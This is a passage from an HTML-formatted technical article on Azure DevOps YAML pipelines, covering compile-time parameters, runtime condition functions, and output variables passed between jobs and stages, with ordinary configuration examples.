pipeline. Removing a \u003ccode\u003e- template:\u003c/code\u003e line via a compile-time conditional eliminates the template\u0026rsquo;s entire subtree from the plan, including all of its steps, jobs, and variables. This is the correct mechanism for optional feature injection — not a \u003ccode\u003econdition:\u003c/code\u003e on individual steps.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Conditional template inclusion based on a boolean parameter\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003epublishArtifact\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eboolean\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esteps/build.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(parameters.publishArtifact, true) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esteps/publish.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eartifactName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edrop\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Typed object parameter passing a list of environments into a stage template\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployConfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironments\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eslot\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eproduction\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eslot\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eproduction\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eapprovalRequired\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estages/deploy-all.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.deployConfig }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eType checking on parameters is strict at parse time. If you declare a parameter as \u003ccode\u003etype: boolean\u003c/code\u003e and pass a string, the pipeline fails immediately during Phase 1 with \u003ccode\u003eParameter 'runSecurityScan' expected type Boolean\u003c/code\u003e. This early failure surfaces misconfigurations before any agent time is consumed.\u003c/p\u003e\n\u003ch3 id=\"limitations\"\u003eLimitations\u003c/h3\u003e\n\u003cp\u003eCompile-time expressions cannot read predefined pipeline variables, variable group values, or any value produced by a running task. The inputs to \u003ccode\u003e${{ }}\u003c/code\u003e expressions are fixed at the moment the YAML file is read from the repository.\u003c/p\u003e\n\u003cp\u003eNesting \u003ccode\u003e${{ each }}\u003c/code\u003e inside another \u003ccode\u003e${{ each }}\u003c/code\u003e is valid but must be managed carefully. Azure DevOps caps template nesting at 100 levels. When a deeply nested loop generates a large number of jobs, you can hit the 20 MB parsing memory limit before reaching the nesting cap. The error \u003ccode\u003e\u0026quot;Maximum object size exceeded\u0026quot;\u003c/code\u003e or \u003ccode\u003e\u0026quot;Pipeline memory budget exceeded\u0026quot;\u003c/code\u003e appears when the server cannot hold the expanded document in memory. If you reach this limit, flatten the outer loop by moving the inner logic to a dedicated template file, or move the branching logic into a script task that runs on the agent.\u003c/p\u003e\n\u003cp\u003eExpressions cap at 21,000 characters. Generating a massive \u003ccode\u003ejoin()\u003c/code\u003e call or chaining many \u003ccode\u003eformat()\u003c/code\u003e calls inside a single expression will produce an \u003ccode\u003eExceeded max expression length\u003c/code\u003e error. Split long expressions across multiple variables.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"runtime-expressions---\"\u003eRuntime Expressions — \u003ccode\u003e$[ ]\u003c/code\u003e\u003c/h2\u003e\n\u003ch3 id=\"conditions\"\u003eConditions\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003econdition:\u003c/code\u003e on a step, job, or stage accepts a runtime expression. Azure DevOps evaluates the expression at Phase 4 after the variable store is fully hydrated. The expression must return a boolean; any non-boolean return value is coerced.\u003c/p\u003e\n\u003cp\u003eThe default condition for every step, job, and stage is \u003ccode\u003esucceeded()\u003c/code\u003e, which is equivalent to writing \u003ccode\u003econdition: succeeded()\u003c/code\u003e explicitly. This means a step only runs if all prior steps in the job passed. Override it when a step must run regardless of upstream status:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Run only on main branch AND only if the upstream job succeeded\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eand(succeeded(), eq(variables[\u0026#39;Build.SourceBranch\u0026#39;], \u0026#39;refs/heads/main\u0026#39;))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploying to production\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Always run a cleanup step even if prior steps failed\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edocker system prune -f\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eCleanup Docker\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Run a notification step whether the job succeeded or was skipped\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./notify.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eNotify Slack\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esucceededOrSkipped()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe full set of condition functions available at runtime:\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eFunction\u003c/th\u003e\n          \u003cth\u003eDescription\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003esucceeded()\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTrue if all previous dependencies succeeded\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003esucceededOrSkipped()\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTrue if dependencies succeeded or were skipped\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003efailed()\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTrue if any previous dependency failed\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003ealways()\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTrue regardless of prior status\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003ecanceled()\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTrue if the pipeline was canceled\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eeq(a, b)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTrue if \u003ccode\u003ea\u003c/code\u003e equals \u003ccode\u003eb\u003c/code\u003e (case-insensitive for strings)\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003ene(a, b)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTrue if \u003ccode\u003ea\u003c/code\u003e does not equal \u003ccode\u003eb\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003egt(a, b)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTrue if \u003ccode\u003ea\u003c/code\u003e is greater than \u003ccode\u003eb\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eand(a, b, ...)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTrue if all arguments are true\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eor(a, b, ...)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTrue if any argument is true\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003enot(a)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eInverts the boolean\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003econtains(string, substring)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTrue if string contains substring\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003estartsWith(string, prefix)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTrue if string starts with prefix\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eendsWith(string, suffix)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTrue if string ends with suffix\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003ein(value, a, b, ...)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTrue if value matches any listed item\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003ecoalesce(a, b, ...)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eReturns the first non-empty value\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e\u003cem\u003e(Note: \u003ccode\u003econtainsValue()\u003c/code\u003e is also available but is primarily effective with compile-time arrays passed via \u003ccode\u003eparameters\u003c/code\u003e; runtime variables evaluate as strings, making \u003ccode\u003econtains()\u003c/code\u003e or \u003ccode\u003ein()\u003c/code\u003e more appropriate.)\u003c/em\u003e\u003c/p\u003e\n\u003ch3 id=\"variable-mapping-between-jobs\"\u003eVariable Mapping Between Jobs\u003c/h3\u003e\n\u003cp\u003eOutput variables cross job boundaries through a \u003ccode\u003e$[ dependencies... ]\u003c/code\u003e reference. The referencing job must declare \u003ccode\u003edependsOn:\u003c/code\u003e to establish the dependency — without it, the variable is not available, and the reference resolves to an empty string.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildApp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Publish the image tag as an output variable\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          SHORT_SHA=$(git rev-parse --short HEAD)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          IMAGE_TAG=\u0026#34;${BUILD_BUILDID}-${SHORT_SHA}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          echo \u0026#34;Image tag: ${IMAGE_TAG}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          echo \u0026#34;##vso[task.setvariable variable=imageTag;isOutput=true]${IMAGE_TAG}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esetTag                     \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# step name is the key in the output reference path\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eCompute and publish image tag\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployApp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn: BuildApp                   # required\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eestablishes the dependency\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Map the output variable into this job\u0026#39;s variable store\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eIMAGE_TAG\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ dependencies.BuildApp.outputs[\u0026#39;setTag.imageTag\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploying image $(IMAGE_TAG)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# Also usable in conditions\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eand(succeeded(), ne(variables[\u0026#39;IMAGE_TAG\u0026#39;], \u0026#39;\u0026#39;))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFor output variables that cross stage boundaries, the reference path uses \u003ccode\u003estageDependencies\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildApp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;##vso[task.setvariable variable=imageTag;isOutput=true]$(Build.BuildId)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esetTag\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployApp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75715e\"\u003e# stageDependencies.\u0026lt;StageName\u0026gt;.\u0026lt;JobName\u0026gt;.outputs[\u0026#39;\u0026lt;stepName\u0026gt;.\u0026lt;varName\u0026gt;\u0026#39;]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eIMAGE_TAG\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ stageDependencies.Build.BuildApp.outputs[\u0026#39;setTag.imageTag\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edocker pull myregistry.azurecr.io/myapp:$(IMAGE_TAG)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"common-pitfalls\"\u003eCommon Pitfalls\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eThe Truthiness Trap.\u003c/strong\u003e The string \u003ccode\u003e'false'\u003c/code\u003e is truthy in runtime expressions. A variable set to the string value \u003ccode\u003efalse\u003c/code\u003e does not evaluate as boolean false — it evaluates as a non-empty string, which is truthy. This produces conditions that always fire even when you intend them to be off:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# BROKEN: the string \u0026#39;false\u0026#39; is truthy — this step always runs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployToProd\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 